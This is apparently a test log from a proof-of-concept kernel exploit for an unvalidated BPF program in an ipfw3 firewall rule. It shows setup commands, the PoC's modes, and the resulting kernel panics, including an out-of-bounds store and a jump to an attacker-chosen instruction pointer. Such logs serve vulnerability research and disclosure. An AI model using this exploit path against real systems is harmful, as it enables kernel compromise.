=== BASELINE: stock 6.5-DEVELOPMENT #0 (INVARIANTS), vm.sh reset with-src ===
# sysctl net.filters_default_to_accept=1 ; kldload ipfw3 ipfw3_basic ipfw3_layer4
# cc -O -o poc3444 poc3444.c

--- ./poc3444 safe 0x12345678 (control: terminating, in-bounds program) ---
[*] DF-3444: unvalidated BPF program execution via ipfw3 rule
[*] mode=safe v1=0x12345678 v2=0x00004141
[*] bpf program: 3 insns, cmd_len=41 words
[+] rule with O_LAYER4_BPF program installed (NO validation)
[*] triggering: UDP to 8.8.8.8 (ip_output -> pfil -> check_bpf)
[*] sendto rc=1 errno=0
[!] still alive: BPF_ST did not fire (rule not reached?)
SAFE-RC=5                      # control survives (program ran, returned 0)

--- ./poc3444 empty (zero instructions) ---
[*] bpf program: 0 insns, cmd_len=35 words
[+] rule with O_LAYER4_BPF program installed (NO validation)
[*] sendto rc=1 errno=0
   <guest panics>
Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address = 0xfffff8056378800c
instruction pointer = 0x8:0xffffffff8072ac60
Stopped at      bpf_filter+0x50: movzwl 0x8(%rdi),%r8d
db>  (guest down)

--- ./poc3444 store 0xcafebabe 0x08000000 (fresh reset) ---
[*] bpf program: 3 insns, cmd_len=41 words
[+] rule with O_LAYER4_BPF program installed (NO validation)
[*] sendto rc=1 errno=0
   <guest panics>
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
--- trap 000000000000000c, rip = ffffffff8072b0e3, rsp = fffff8008d271780, rbp = fffff8008d271800 ---
bpf_filter() at bpf_filter+0x4d3 0xffffffff8072b0e3
db>  (guest down)   # rip is the OOB store instruction; fault addr = mem+4*0x08000000

--- ./poc3444 riptake 0x42424343 0x00004141 (fresh reset) ---
[*] bpf program: 5 insns, cmd_len=45 words
[+] rule with O_LAYER4_BPF program installed (NO validation)
[*] sendto rc=1 errno=0
   <guest panics>
FStopped at      0x414142424343: kernel: type 12 trap, code=0
db>  (guest down)   # CPU jumped to EXACTLY the attacker-supplied return address